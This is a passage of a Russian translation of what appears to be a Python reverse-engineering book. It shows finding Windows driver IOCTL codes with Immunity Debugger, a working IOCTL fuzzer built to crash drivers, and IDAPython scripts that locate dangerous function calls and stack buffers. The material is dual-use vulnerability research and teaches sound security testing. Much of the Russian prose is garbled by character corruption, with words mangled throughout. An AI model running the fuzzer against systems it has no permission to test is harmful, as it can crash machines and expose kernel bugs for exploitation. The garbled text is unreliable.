UNICODE_STRING uDeviceSymlink;
PDEVICE_OBJECT gDeviceObject;

RtlInitUnicodeString( &uDeviceName,
L"\\Device\\GrayHat" );

RtlInitUnicodeString( &uDeviceSymlink,
L"\\DosDevices\\GrayHat" );
// Register the device

IoCreateDevice( DriverObject, 0, &uDeviceName,
FILE_DEVICE_NETWORK, 0, FALSE,
&gDeviceObject );


// We access the driver through its symlink
IoCreateSymbolicLink(&uDeviceSymlink, &uDeviceName);

// Setup function pointers
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispat
ch;

DriverObject->DriverUnload = DriverUnloadCallback;

DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverCreateCloseCallback;


DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverCreateCloseCallback;



return STATUS_SUCCESS;
}

Это очень простая процедура DriverEntry, но она дает Zf понимание того,
как произh^yl инициализацию большинстh устройств .
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch

Эта строка гоhjbl драй_jm, что функция «IOCTLDispatch» будет
обрабатыZlv k_ IOCTL- запросы. Когда драй_j скомпилироZg , эта строка
C- кода будет преобразоZgZ в следующую псе^h- ассемблерную строку :

mov dword ptr [REG+70h], CONSTANT

Вы будите b^_lv очень специфический набор инструкций, где массив
MajorFunction (REG в ассемблерном коде ) будет ссылаться на смещение
0x70, а указатель на функцию (CONSTANT в ассемблерном коде ) будет
храниться рядом . Используя эти инструкции , мы можем определить , где
размещена процедура обработки IOCTL-кодов , и это именно то место , где мы
можем начать поиски различных IOCTL-кодов. Поиск этой функции
обработк

и осущестey_lky библиотекой driverlib с использоZgb_f кода из
Листинга 10-4.

Листинг 10-4: Функция поиска процедуры обработки IOCTL-кодов (если
имеется )
def getIOCTLDispatch( self ):
search_pattern = "MOV DWORD PTR [R32+70],CONST"

dispatch_address = self.imm.searchCommandsOnModule(
self.module.getCodebase(),
search_pattern)


# We have to weed out some possible bad matches
for address in dispatch_address:

instruction = self.imm.disasm( address[0] )

if "MOV DWORD PTR" in instruction.getResult():
if "+70" in instruction.getResult():
self.IOCTLDispatchFunctionAddress = instruction.getImmCo
nst()
self.IOCTLDispatchFunction = self.imm.getFunction(
self.IOCTLDispatchFunctionAddress )

break

# return a Function object if successful
return self.IOCTLDispatchFunction

Этот код опирается на мощное API поиска отладчика Immunity Debugger,
чтобы найти k_ hafh`gu_ соiZ^_gby , соот_lklующие нашим критериям
поиска . После того, как найдено соiZ^_gb_ , мы haращаем объект
функции , который предостаey_l процедуру обработки IOCTL- кодов, нашей
ищейке , которая начнет поиск допустимых IOCTL- кодов.

Теперь даZcl_ непосредст_ggh посмотрим на процедуру обработки IOCTL-
кодов и рассмотрим некоторые простые эjbklbdb , чтобы попыта
ться найти
k_ IOCTL- коды, которые поддержиZ_l устройстh .

10.3.3 Определение поддержиZ_fuo IOCTL-кодов

Процедура обработки IOCTL, обычно uihegy_l различные дейстby , в
заbkbfhklb от значения кода , которое в нее было предано . Мы хотим иметь
hafh`ghklv определить k_ hafh`gu_ IOCTL-коды, поэтому пойдем на k_
трудности , чтобы найти их значения. ДаZcl_ сначала рассмотрим , как будет
u]ey^_lv исходный код на языке С , для скелета процедуры обработки
IOCTL- ко

дов . После этого мы будем b^_lv , как декодироZlv блок , чтобы
получить значения IOCTL- кодов. Листинг 10-5 показыZ_l типичную
процедуру обработки IOCTL-кодов.

Листинг 10-5: Упрощенная процедура обработки IOCTL, поддержиZxsZy
три IOCTL- кода (0x1337, 0x1338, 0x1339)
NTSTATUS IOCTLDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
ULONG FunctionCode;
PIO_STACK_LOCATION IrpSp;

// Setup code to get the request initialized
IrpSp = IoGetCurrentIrpStackLocation(Irp);
(#1): FunctionCode =
IrpSp->Parameters.DeviceIoControl.IoControlCode;


// Once the IOCTL code has been determined, perform a
// specific action

(#2): switch(FunctionCode)
{
case 0x1337:
// ... Perform action A
case 0x1338:
// ... Perform action B
case 0x1339:
// ... Perform action C
}

Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest( Irp, IO_NO_INCREMENT );


return STATUS_SUCCESS;
}

Как только IOCTL- код был получен (#1), то доhevgh часто можно b^_lv
оператор «switch {}» на месте (#2), чтобы определить какое дейстb_ должен
uihegblv драй_j , осноuаясь на полученном значение IOCTL- кода.
Сущестm_l несколько различных способов преобразоZgby этого кода в
ассемблерный блок ; a]eygbl_ на Листинг 10-6 в качест_ примера .

Листинг 10-6: Пара дизассемблерных интерпретаций оператора switch{}
// Series of CMP statements against a constant
CMP DWORD PTR SS:[EBP-48], 1339 # Test for 0x1339
JE 0xSOMEADDRESS # Jump to 0x1339 action
CMP DWORD PTR SS:[EBP-48], 1338 # Test for 0x1338
JE 0xSOMEADDRESS
CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337
JE 0xSOMEADDRESS

// Series of SUB instructions decrementing the IOCTL code
MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI
SUB ESI, 1337 # Test for 0x1337
JE 0xSOMEADDRESS # Jump to 0x1337 action
SUB ESI, 1 # Test for 0x1338
JE 0xSOMEADDRESS # Jump to 0x1338 action
SUB ESI, 1 # Test for 0x1339
JE 0xSOMEADDRESS # Jump to 0x1339 action

Может быть много способов , которыми оператор «switch{}», может быть
преобразоZg в ассемблерный код , но сущестm_l дZ наиболее
распространенных , которые я klj_qZe . В перhf случае , где мы b^bf ряд
инструкций CMP, просто ищем константу , которая сраgbается с
передаZ_fuf IOCTL-кодом. Эта константа должна быть дейстbl_evguf
IOCTL- кодом, который поддержиZ_l драй_j . Во lhjhf случае , мы ищем
серию инструкций SUB, сопроh`

даемых некоторым типом услоguo
инструкций JMP. Ключеuf в этом случая является нахождение начальной
оригинальной константы .
SUB ESI, 1337

Эта строка гоhjbl нам , что самым наименьшим поддержиZ_fuf IOCTL-
кодом является 0x1337. Исходя из этого , значение , экbалентное сумме
каждой последующей инструкции SUB, которое мы b^bf , мы добаey_f к
нашей осноghc константе, тем самым получая остальные IOCTL-коды.
Взгляните на хорошо прокомментироZgguc код функции getIOCTLCodes()
gmljb "Libs\driverlib.py" Zr_c директории устаноdb Immunity Debugger.
Она аlhfZlbq_kdb проходит через процедуру обработки IOCTL- кодов и
определяет , каки

е IOCTL- коды, поддержиZ_l тестируемый драй_j; u
можете b^_lv некоторые из этих эjbklbd в дейстbb!

Теперь , когда мы знаем , как driverlib делает часть нашей грязной работы ,
даZcl_ hkihevam_fky ее услугами ! Мы будем использоZlv driverlib, чтобы
ulygmlv имена устройств и поддержиZ_fu_ IOCTL-коды из драй_jZ и
сохраним полученные результаты с помощью модуля Python pickle [6]. Затем
напишем IOCTL-фаззер, кото

рый будет использоZlv результаты из pickle-
файла , для фаззинга различных IOCTL-кодов, которые поддержиZ_l
драй_j . Это не только у_ebqbl покрытие исследуемого драй_jZ , но и
позhebl фаззеру работать в течении неопределенного j_f_gb. Помимо

этого, для про_^_gby фаззинга , нам не нужно aZbfh^_ckl\hать с
программой режима пользователя . ДаZcl_ приступим к фаззингу .


10.4 Создание драй_j -фаззера

Перuc шаг заключается в создании нашего IOCTL- дампера, который будет
uiheg_g в b^_ PyCommand, для запуска его в Immunity Debugger. Откройте
ноuc Python файл , назоbl_ его и ioctl_dump.py и едите следующий код :

ioctl_dump.py
import pickle
import driverlib
from immlib import *

def main( args ):
ioctl_list = []
device_list = []

imm = Debugger()
driver = driverlib.Driver()

# Grab the list of IOCTL codes and device names
(#1): ioctl_list = driver.getIOCTLCodes()
if not len(ioctl_list):
return "[*] ERROR! Couldn't find any IOCTL codes."

(#2): device_list = driver.getDeviceNames()
if not len(device_list):
return "[*] ERROR! Couldn't find any device names."

# Now create a keyed dictionary and pickle it to a file
(#3): master_list = {}
master_list["ioctl_list"] = ioctl_list
master_list["device_list"] = device_list

filename = "%s.fuzz" % imm.getDebuggedName()
fd = open( filename, "wb" )

(#4): pickle.dump( master_list, fd )
fd.close()

return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % fil
ename

Эта PyCommand доhevgh проста : она получает список IOCTL- кодов (#1) ,
список имен устройств (#2) , помещает обоих в слоZjv (#3) и сохраняет
слоZjv в файл (#4). Просто загрузите тестируемый драй_j в Immunity
Debugger и запустите PyCommand следующим образом :
!ioctl_dump

Pickle-файл будет сохранен в директории Immunity Debugger.

Теперь , когда у нас есть список имен устройств и набор IOCTL- кодов,
даZcl_ напишем простой фаззер использующий их! Важно знать , что этот
фаззер ищет только багги сyaZggu_ с поj_`^_gb_f и переполнением
памяти , но он может быть легко расширен , чтобы иметь более широкое
покрытие других классов ошибок.

Откройте ноuc Python фай

л , назовите его my_ioctl_fuzzer.py и едите
следующий код.

my_ioctl_fuzzer.py
import pickle
import sys
import random

from ctypes import *

kernel32 = windll.kernel32

# Defines for Win32 API Calls
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3

(#1): # Open the pickle and retrieve the dictionary
fd = open(sys.argv[1], "rb")
master_list = pickle.load(fd)
ioctl_list = master_list["ioctl_list"]
device_list = master_list["device_list"]
fd.close()

# Now test that we can retrieve valid handles to all
# device names, any that don't pass we remove from our test cases
valid_devices = []

(#2): for device_name in device_list:

# Make sure the device is accessed properly
device_file = u"\\\\.\\%s" % device_name.split("\\")[::-1]
[0]

print "[*] Testing for device: %s" % device_file

driver_handle = kernel32.CreateFileW(device_file,
GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0 , None)


if driver_handle:

print "[*] Success! %s is a valid device!"

if device_file not in valid_devices:
valid_devices.append( device_file )

kernel32.CloseHandle( driver_handle )
else:

print "[*] Failed! %s NOT a valid device."

if not len(valid_devices):
print "[*] No valid devices found. Exiting..."
sys.exit(0)

# Now let's begin feeding the driver test cases until we can't bear
# it anymore! CTRL-C to exit the loop and stop fuzzing

while 1:

# Open the log file first
fd = open("my_ioctl_fuzzer.log","a")

# Pick a random device name
(#3): current_device = valid_devices[random.randint(0,
len(valid_devices)-1 )]

fd.write("[*] Fuzzing: %s\n" % current_device)

# Pick a random IOCTL code
(#4): current_ioctl = ioctl_list[random.randint(0, len(ioctl_lis
t)-1)]
fd.write("[*] With IOCTL: 0x%08x\n" % current_ioctl)

# Choose a random length
(#5): current_length = random.randint(0, 10000)
fd.write("[*] Buffer length: %d\n" % current_length)

# Let's test with a buffer of repeating As
# Feel free to create your own test cases here
in_buffer = "A" * current_length

# Give the IOCTL run an out_buffer
out_buf = (c_char * current_length)()
bytes_returned = c_ulong(current_length)

# Obtain a handle
driver_handle = kernel32.CreateFileW(device_file,
GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)


fd.write("!!FUZZ!!\n")
# Run the test case
kernel32.DeviceIoControl( driver_handle, current_ioctl,
in_buffer, current_length, byref(out_buf), current_length,
byref(bytes_returned), None )


fd.write( "[*] Test case finished. %d bytes returned.\n\n" %
bytes_returned.value )


# Close the handle and carry on!
kernel32.CloseHandle( driver_handle )
fd.close()

Мы начинаем с распаковки слоZjy IOCTL- кодов и имен устройств из pickle-
файла (#1). Затем про_jy_f , что мы можем получить дескрипторы ко k_f
устройстZf в списке (#2). Если мы не можем получить дескриптор
конкретного устройстZ , то удаляем его из списка . Затем просто u[bjZ_f
случайное устройстh (#3), случайный IOCTL-код (#4) и создаем буфер

случайно длины (#5). После чего отпраey_f IOCTL-код драй_jm и
переходим к следующему тест -кейсу .

Чтобы использоZlv фаззер , просто передайте ему путь к файлу с тест -
кейсами и дайте ему поработать ! Примером может быть следующая команда :
C:\>python.exe my_ioctl_fuzzer.py i2omgmt.sys.fuzz

Если Zr фаззер дейстbl_evgh обрушит машину, то будет доhevgh
очеb^gh , какой IOCTL- код uaал сбой , потому что Zr log- файл покажет
Zf последний uiheg_gguc IOCTL-код. Листинг 10-7 показыZ_l
некоторый uод , в качест_ успешного примера фаззинга против
неназZggh]h драйвера .

Листинг 10-7: Результаты успешного фаззинга отображенные в логах
(*) Fuzzing: \\.\unnamed
(*) With IOCTL: 0x84002019
(*) Buffer length: 3277
!!FUZZ!!
(*) Test case finished. 3277 bytes returned.

(*) Fuzzing: \\.\unnamed
(*) With IOCTL: 0x84002020
(*) Buffer length: 2137
!!FUZZ!!
(*) Test case finished. 1 bytes returned.

(*) Fuzzing: \\.\unnamed
(*) With IOCTL: 0x84002016
(*) Buffer length: 1097
!!FUZZ!!
(*) Test case finished. 1097 bytes returned.

(*) Fuzzing: \\.\unnamed
(*) With IOCTL: 0x8400201c
(*) Buffer length: 9366
!!FUZZ!!

Очеb^gh , что последний IOCTL- код (0x8400201c) uaал сбой , потому что
мы не b^bf никаких дальнейших записей в log- файл. Я надеюсь , что u
имели такую же большую удачу , h j_fy фаззинга драй_jZ , что и я ! Это
очень простой фаззер; не стесняйтесь расширять тест -кейсы – k_]^Z , когда
считаете это нужным . Возможным улучшением , могла бы быть передача
буфера случайного размера, но с устаноe_gguf параметром InBufferLength
или OutBufferLength какой-нибудь другой длины , отличающегося от
дейстbl_evgh]h размера буфера который u передаете . Пойдите и
уничтожьте k

е драй_ju на сh_f пути !

10.5 Ссылки

[1] Kostya Kortchinsky, “Exploiting Kernel Pool Overflows” (2008),
http://immunityinc.com/downloads/KernelPool.odp

[2] Justin Seitz, “I2OMGMT Driv er Impersonation Attack” (2008),
http://immunityinc.com/downloads/D riverImpersonationAttack_i2omgmt.pdf

[3] MSDN CreateFile Function (h ttp://msdn.microsoft.com/en-
us/library/aa363858.aspx)

[4] MSDN DeviceIoControl Function (http://msdn.microsoft.com/en-
us/library/aa363216(VS.85).aspx)

[5] To download Wireshark go to http://www.wireshark.org/

[6] For more information on Python pickles, see
http://www.python.org/doc/2.1/lib/module-pickle.html

ГЛАВА 11
IDAPython



IDA Pro [1] – это дизассемблер , который долгое j_fy остается самым
мощным инструментом статического анализа. Произ_^_gguc компанией
Hex-Rays SA [2]
, h гла_ с ее легендарным глаguf архитектором Ильфаком
Гильфановым , IDA Pro содержит множестh аналитических hafh`ghkl_c .
Она может анализироZlv бинарные файлы для большинстZ имеющихся
архитектур, работать на различных платформах и имеет kljh_gguc
отладчик . Наряду со сhbfb осноgufb hafh`ghklyfb , IDA Pro имеет сhc
собст_gguc скриптоuc язык IDC, а так же SDK предостаeyxs__
разработчикам полный доступ к IDA Plugin API.

В 2004 году , используя открытую архитектуру IDA, Gergely Erd
élyi и Ero
Carrera uimklbeb IDAPython, плагин который предостаey_l ре_jk
инженерам полный доступ к скриптоhfm ядру IDC, IDA Plugin API и k_f
стандартным модулям , постаey_fuf f_kl_ с Python. Что позhey_l
разрабатыZlv мощные скрипты, для uiheg_gby задач аlhfZlbq_kdh]h
анализа в IDA, используя чистый Python. IDAPython используется как в
коммерческих продуктах, таких как BinNavi [3]
, так и в открытых проектах,
таких как PaiMei [4]
и PyEmu ( который рассмотрен в Гла_ 12).

В начале этой глаu мы рассмотрим шаги по устаноd_ IDAPython на IDA
Pro 5.2. Далее мы рассмотрим некоторые наиболее часто используемые
функции , предостаey_fu_ IDAPython. Под конец за_jrbf глаm
написанием нескольких скриптов , позheyxsbo ускорить некоторые общие
задачи ре_jk инженера , с которыми ему приходится часто сталкиZlvky .


11.1 УстаноdZ IDAPython

Для устаноdb IDAPython gZqZe_ нужно загрузить устаноhqg
ые файлы ,
используйте для этого следующую ссылку:

http://idapython.googlecode.com /files/idapython-1.0.0.zip


После того как u скачали zip- архив, разархиbjmcl_ его в любую
директорию . Внутри распакоZgghc директории u уb^bl_ папку plugins ,
которая будет содержать файл python.plw . Вам нужно скопироZlv python.plw
в папку plugins IDA Pro, при устаноd_ по умолчанию она будет расположена
в "C\Program Files\IDA\plugins" . Далее , из разархиbjhанной директории
IDAPython, скопируйте папку python в родительский каталог IDA, который
при устаноd_ по у

молчанию будет следующим "C:\Program Files\IDA" .

Чтобы убедиться в корректной устаноd_ – просто загрузите любой
исполняемый файл в IDA, как только она закончит сhc аlhfZlbq_kdbc
анализ , u уb^bl_ uод , в нижней панели IDA, показыZxsbc успешную
устаноdm IDAPython. Выh^ в панели IDA Pro должен u]ey^_lv так , как
показано на Рис . 11-1.

Рис . 11-1 : Выh^ панели IDA Pro отображающий успешную устаноdm
IDAPython

Теперь , когда IDAPython успешно устаноe_g , в меню File IDA Pro
пояbehkv д_ дополнительные опции (Рис . 11-2).


Рис . 11-2 : Меню File после установки IDAPython

Дmfy ноufb опциями стали Python File и Python command , а также горячие
клаbrb к ним . Если нужно uihegblv простую команду Python, можно
нажать на Python command , после чего пояblky диалогоh_ окно ,
позheyxs__ одить Python-команды . Результат uiheg_gby этих команд
можно уb^_lv в "Output window" IDA Pro. Пункт меню Python command
используется для uiheg_gby аlhghfguo скриптов IDAPython. Теперь ,
когда у Zk устаноe_g и раб

отает IDAPython, даZcl_ рассмотрим некоторые
наиболее часто используемые функции поддержиZ_fu_ им .


11.2 Функции IDAPython

IDAPython полностью совместим с IDC. Это значит, что любой uah\
функции , которую поддержиZ_l IDC http://www.hex-
rays.com/idapro/idadoc/162.htm [5], также можно использоZlv в IDAPython.

Мы рассмотрим некоторые из функций , которые u обычно будите
использоZlv при написании скриптов IDAPython. Они предостаyl прочную
осноm , для того чтобы начать разрабатыZlv собст_ggu_ скрипты . Язык
IDC поддержиZ_l сur_ 100 uahов функций . Поэтому , в этой гла_ , дан
далеко не исчерпыZxsbc их список , но он поощрит Zk исследоZlv его
лучше самостоятельно.

11.2.1 Полезные функции

Ниже пр

едстаe_gZ пара полезных функций, которые пригодятся в
большинст_ ваших скриптах :

ScreenEA() Получает адрес того, где в настоящий момент размещен курсок (мышки )
на экране IDA. Это позhey_l u[jZlv начальную точку , для запуска
сценария .

GetInputFileMD5() ВозjZsZ_l MD5-хеш дhbqgh]h файла , загруженного в IDA. Это полезно
для отслежиZgby изменений в загружаемых файлах .

11.2.2 Сегменты

В IDA дhbqgu_ файлы разбиZxlky на сегменты, каждый сегмент имеет
определенный класс (CODE, DATA, BSS, STACK, CONST или XTRN)

.
Следующие функции предостаeyxl hafh`ghklv получить информацию о
сегментах , которые содержатся в дhbqghf файле .

FirstSeg() ВозjZsZ_l начальный адрес перh]h сегмента в дhbqghf файле .

NextSeg() ВозjZsZ_l начальный адрес следующего сегмента в дhbqghf файле или
BADADDR, если сегментов больше не нет .

SegByName( string SegmentName ) ВозjZsZ_l начальный адрес сегмента осноZggh]h на имени сег
мента.
Например , uauая ее с .text (в качест_ параметра ) будет haращен
начальный адрес сегмента «кода » для дhbqgh]h файла .

SegEnd( long Address ) ВозjZsZ_l конец сегмента , осноZggh]h на адресе , содержащемся в
пределах данного сегмента .

SegStart( long Address ) ВозjZsZ_l начало сегмента , осноZggh]h на адресе , содержащемся в
пределах данного сегмента .

SegName( long Address ) ВозjZsZ_l имя сегмента , осноZggh]h на любом адресе в пределах
данного сегмента .

Segments() ВозjZsZ_l список начальных адресов для k_o сегментов в конкретном
дhbqghf файле .

11.2.3 Функции

Перебор всех функций и определение их границ , в дhbqghf файле , яeyxlky
теми задачами , с которыми u будете ч
асто сталкиваться при написании
скриптов . Следующие процедуры будут полезны при работе с функциями в
нутрии исследуемого дhbqgh]h файла .

Functions( long StartAdd ress, long EndAddress )
ВозjZsZ_l список k_o функций , начальные адреса которых содержатся
между StartAddress и EndAddress.

LocByName( string FunctionName ) ВозjZsZ_l адрес функции , осноuаясь на ее имени .

GetFuncOffset( long Address ) Преобразует адрес, в пределах функции , в строку , которая показыZ_l имя
функции и смещен

ие gmljb функции .

GetFunctionName( long Address ) ВозjZsZ_l имя функции , осноuаясь на преданном адресе , который ей
принадлежит.

11.2.4 Перекрестные ссылки

Поиск кода и данных по перекрестным ссылкам , gmljb дhbqgh]h файла ,
чрезuqZcgh полезная _sv , при определении потока данных и hafh`guo
путей исполнения кода к интересным частям исследуемого файла . IDAPython
имеет множестh функций , используемых для определения различных
перекрестных ссылок.

CodeRefsFrom( long Address, bool Flow

)
ВозjZsZ_l список ссылок кода из данного адреса .

CodeRefsTo( long Address, bool Flow ) ВозjZsZ_l список ссылок кода на данный адрес . Логический флаг Flow
гоhjbl IDAPython следоZlv или не следоZlv нормальному потоку кода
при определении перекрестных ссылок.

DataRefsFrom( long Address ) ВозjZsZ_l список ссылок данных из данного адреса .

DataRefsTo( long Address ) ВозjZsZ_l список ссылок данных на данный адрес . Полезно для
слежения за использоZgb_f глобальной переменной в исследуемом
файле .

11.2.5 Debugger Hooks

Одной очень хорошей фичей, которую поддержиZ_l IDAPython, яey_l
ся
hafh`ghklv определять debugger hook в IDA и устанаebать обработчики
различных отладочных событий, которые могут hagbdgmlv . Хотя IDA
обычно не используется для отладки , есть моменты , когда просто легче
запустить kljh_gguc отладчик IDA, чем переключаться на другой
инструмент. Мы будем использоZlv один из этих debugger hooks позже при
создании простого инструмента покрытия кода (code coverage tool). Чтобы
устаноblv debugger hook, gZq
але нужно определить осноghc класс
debugger hook, а затем определить различные обработчики событий в этом
классе . Мы будем использовать следующий класс в качест_ примера:

class DbgHook(DBG_Hooks):
# Event handler for when the process starts
# Обработчик события, срабатыZxsbc при запуске процесса
def dbg_process_start(self, pid, tid, ea, name, base, size):
return

# Event handler for process exit
# Обработчик события, срабатыZxsbc при за_jr_gbb процесса
def dbg_process_exit(self, pid, tid, ea, code):
return

# Event handler for when a shared library gets loaded
# Обработчик события, срабатыZxsbc при загрузке библиотеки
def dbg_library_load(self, pid, tid, ea, name, base, size):
return

# Breakpoint handler
# Обработчик срабатыZxsbc при срабатыZgbb точки останоZ
def dbg_bpt(self, tid, ea):
return

Этот класс содержит некоторые общие обработчики отладочных событий,
которые можно использоZlv при создании простых отладочных скриптов в
IDA. Чтобы устаноblv debugger hook используйте следующий код:

debugger = DbgHook()
debugger.hook()

Теперь запустите отладчик и Zr hook будет перехZluать k_ отладочные
события , что позhey_l иметь очень ukhdbc уровень контроля над
отладчиком IDA. Вот несколько kihfh]Zl_evguo функций , которые u
можете использоZlv h j_fy uiheg_gby отладки:

AddBpt( long Address ) Устанаebает программный брейкпойнт на указанный адрес.

GetBptQty() ВозjZsZ_l количестh брейкпойнтов устаноe_gguo в настоящий
момент .

GetRegValue( string Register ) Получает значение регистра осноuаясь на его имени .

SetRegValue( long Valu e, string Register )
Устан

аebает значение для указанного регистра .


11.3 Example Scripts

Теперь давайте создадим несколько простых скриптов , которые могут
помочь в некоторых общих задачах , с которыми u столкнетесь при
ре_jkbg]_ дhbqguo файлов. Мы создадим скрипты для : поиска
перекрестных ссылок, на опасные uahы функций ; мониторинга
uauаемых функций с использоZgb_f IDA debugger hook и uqbke_gby
размера переменных стек

а для k_o функций в дhbqghf файле .

11.3.1 Поиск перекрестных ссылок на опасные функции

Сущестm_l ряд опасных функций, например , функции по работе со
строками (strcpy, sprintf) или функции по работе с памятью (memcpy), при не
праbevghf использоZgbb которых могут hagbdZlv различные проблемы .
При исследоZgbb дhbqguo файлов нам нужно уметь легко находить
подобные функции , поскольку они могут представ

лять не малый интерес,
например , для исследоZl_ey багов . ДаZcl_ создадим простой скрип, чтобы
отследить эти функции и определить места, откуда они uauаются . Помимо
этого устаноbf красный ц_l фона для каждой uauаемой функции, что

бы мы могли легко b^_lv эти uahы при просмотре графиков
сгенерироZgguo IDA. Откройте ноuc Python файл , назоbl_ его
cross_ref.py и едите следующий код :

cross_ref.py

from idaapi import *

danger_funcs = ["strcpy","sprintf","strncpy"]

for func in danger_funcs:
(#1): addr = LocByName( func )

if addr != BADADDR:

# Grab the cross-references to this address

(#2): cross_refs = CodeRefsTo( addr, 0 )

print "Cross References to %s" % func
print "-------------------------------"
for ref in cross_refs:

print "%08x" % ref

# Color the call RED
(#3): SetColor( ref, CIC_ITEM, 0x0000ff)

Мы начинаем с получения адреса опасной функции (#1) , затем про_jy_f
его , чтобы убедиться , что это допустимый адрес в пределах дhbqgh]h файла .
Затем получаем k_ перекрестные ссылки на код , который делает uah\
опасной функции (#2), и проходим в цикле по их списку , распечатыZy их
адреса и раскрашиZy uauаемые инструкции (#3), так чтобы мы могли
b^_lv их на графиках IDA. Попробуй

те использоZlv скрипт на файле war-
ftpd.exe в качестве примера . Когда запустите скрипт , u должны уb^_lv
uод , подобный тому, как показано в Листинге 11-1.

Листинг 11-1: Выh^ после использоZgby cross_ref.py

Cross References to sprintf
-------------------------------
004043df
00404408
004044f9
00404810
00404851
00404896
004052cc
0040560d

0040565e
004057bd
004058d7
...

Все перечисленные адреса , яeyxlky местоположениями uahов функции
sprintf и если u посмотрите на эти адреса в графике IDA, u должны
уb^_lv , что инструкции раскрашены, как показано на Рис . 11-3.

Рис . 11-3 : Вызов sprintf окращеный с помощью скрипта cross_ref.py

11.3.2 Function Code Coverage

При uiheg_gbb динамического анализа , доhevgh полезно понимать какой
код uihegy_lky h j_fy исполнения исследуемого файла. Покрытие кода
(code coverage) яey_lky полезным показателем , который помогает понять ,
как работает программа . Мы будем использоZlv IDAPython для перебора
k_o функций , в исследуемом дhbqghf файле , с последующей устаноdhc
точек останоZ на начало каждого адреса. Затем мы запустим отладчик IDA и
используем debugger hook для uода у_^hfe_gby , h j_fy каждого
срабатыв

ания точек останоZ . Откройте ноuc Python файл, назоbl_ его
func_coverage.py и едите следующий код :

func_coverage.py

from idaapi import *

class FuncCoverage(DBG_Hooks):

# Our breakpoint handler
def dbg_bpt(self, tid, ea):
print "[*] Hit: 0x%08x" % ea
return

# Add our function coverage debugger hook
(#1): debugger = FuncCoverage()
debugger.hook()

current_addr = ScreenEA()

# Find all functions and add breakpoints
(#2): for function in Functions(SegStart( current_addr ),
SegEnd( current_addr )):
(#3): AddBpt( function )
SetBptAttr( function, BPTATTR_FLAGS, 0x0 )

(#4): num_breakpoints = GetBptQty()

print "[*] Set %d breakpoints." % num_breakpoints

Вначале мы устанаebаем наш debugger hook (#1), так чтобы он uauался
h j_fy каждого отладочного события . Затем перебираем k_ адреса
функций (#2) и устанаebаем точки останоZ на каждый адрес (#3). Вызов
SetBptAttr устанаebает флаг (BPTATTR_FLAGS), чтобы отладчик не
останавлиZeky при каждом срабатыZgbb брейкпойнтов ; если его не
устаноblv , то придется в ручную hah[ghлять отладку , после каждого
срабатыв

ания точек останоZ . Затем мы распечатыZ_f общее количестh
устаноe_gguo брейкпойнтов (#4). Обработчик брейкпойнтов распечатывает
адреса каждой сработаr_c точки останоZ , используя для этого переменную
ea , которая на самом деле яey_lky ссылкой на регистр EIP, h j_fy
срабатывания брейкпойнта . Теперь запустите отладчик (горячая клавиша F9).
После чего u должны уb^_lv uод , отображающий функции на которых
сработал брейкпойнт. Это должно дать Zf очень ukhdhmjhнеh_
предстаe_gb_ тог

о какие функции uauаются и в каком порядке они
uihegyxlky .

11.3.3 Вычисление размера стека

Иногда при оценке дhbqgh]h файла на hafh`gu_ уязbfhklb , Z`gh знать
размер стека , в определенных uahах функций . Это может рассказать Zf ,
есть ли просто указатели , передающиеся в функцию , или еще есть буферы ,
u^_e_ggu_ в ст

еке , которые могут представлять интерес, если u можете
контролироZlv количестh передаZ_fuo данных в эти буферы (что может
при_klb к общей уязbfhklb переполнения буфера ). ДаZcl_ напишем код
для перебора k_o функции , который покажет k_ функции с u^_e_ggufb в
стеке буферами , которые могут предстаeylv нас интерес . Вы может
е
объединить этот скрипт , с нашим предыдущим примером, для отслежиZgby
uahа k_o интересных функций , h j_fy uiheg_gby отладки . Откройте
ноuc Python файл, назоbl_ его stack_calc.py и едите следующий код :

stack_calc.py

from idaapi import *

(#1): var_size_threshold = 16
current_address = ScreenEA()

(#2): for function in Functions(SegStart(current_address),
SegEnd(current_address)):
(#3): stack_frame = GetFrame( function )

frame_counter = 0
prev_count = -1

(#4): frame_size = GetStrucSize( stack_frame )

while frame_counter < frame_size:

(#5): stack_var = GetMemberNames( stack_frame,
frame_counter )

if stack_var != "":

if prev_count != -1:

(#6): distance = frame_counter - prev_distance

if distance >= var_size_threshold:
print "[*] Function: %s -> Stack Variable:
%s (%d bytes)" % ( GetFunctionName(function), prev_member,
distance )

else:
prev_count = frame_counter
prev_member = stack_var

(#7): try:
frame_counter = frame_counter +
GetMemberSize(stack_frame, frame_counter)

except:
frame_counter += 1
else:
frame_counter += 1

Вначале устанаebаем размер порога , который определяет , насколько
большой должна быть переменная стека прежде , чем мы будем считать ее
буфером (#1); 16 байт приемлемый размер , но не стесняйтесь
экспериментироZlv с различными размерами . Затем начинаем перебирать
k_ функции (#2) , получая объект кадра стека (stack frame) для каждой
функции (#3) . Далее используем функцию GetStrucSize (#4), для определения

размера кадра стека в байтах . Затем начинаем перебирать стековый фрейм
(stack frame) байт за байтом, пытаясь определить , присутстm_l ли стекоZy
переменная в каждом байте смещения (#5). Если она присутстm_l , uqblZ_f
текущее байтоh_ смещение из предыдущей переменной стека (#6).
Осноuаясь на расстоянии между этими дmfy переменными , можно
определить размер переменной . Если расстоянием не достаточно большое ,
пытаемся определить размер текущей переменной стека (#7) и у_ebqbаем
счет

чик на размер текущей переменной . Если не можем определить размер
переменной , то просто у_ebqbаем счетчик на один байт и продолжаем
цикл . После применения этого скрипта к дhbqghfm файлу , u должны
b^_lv uод ( если есть несколько буферов u^_e_gguo в стеке), как
показано ниже в Листинге 11-2.

Листинг 11-2: Выh^ скрипта stack_calc.py показыZ_l u^_e_ggu_ в стек

е
буферы и их размеры

[*] Function: sub_1245 -> Stack Variable: var_C(1024 bytes)[*]
Function: sub_149c -> Stack Variable: Mdl (24 bytes)[*]
Function: sub_a9aa -> Stack Variable: var_14 (36 bytes)

Теперь u имеете осноm , которая позволит Zf использоZlv IDAPython.
Помимо этого у Zk есть некоторые полезные скрипты, которые u можете
легко расширять , объединять или улучшать . Пара минут на написание
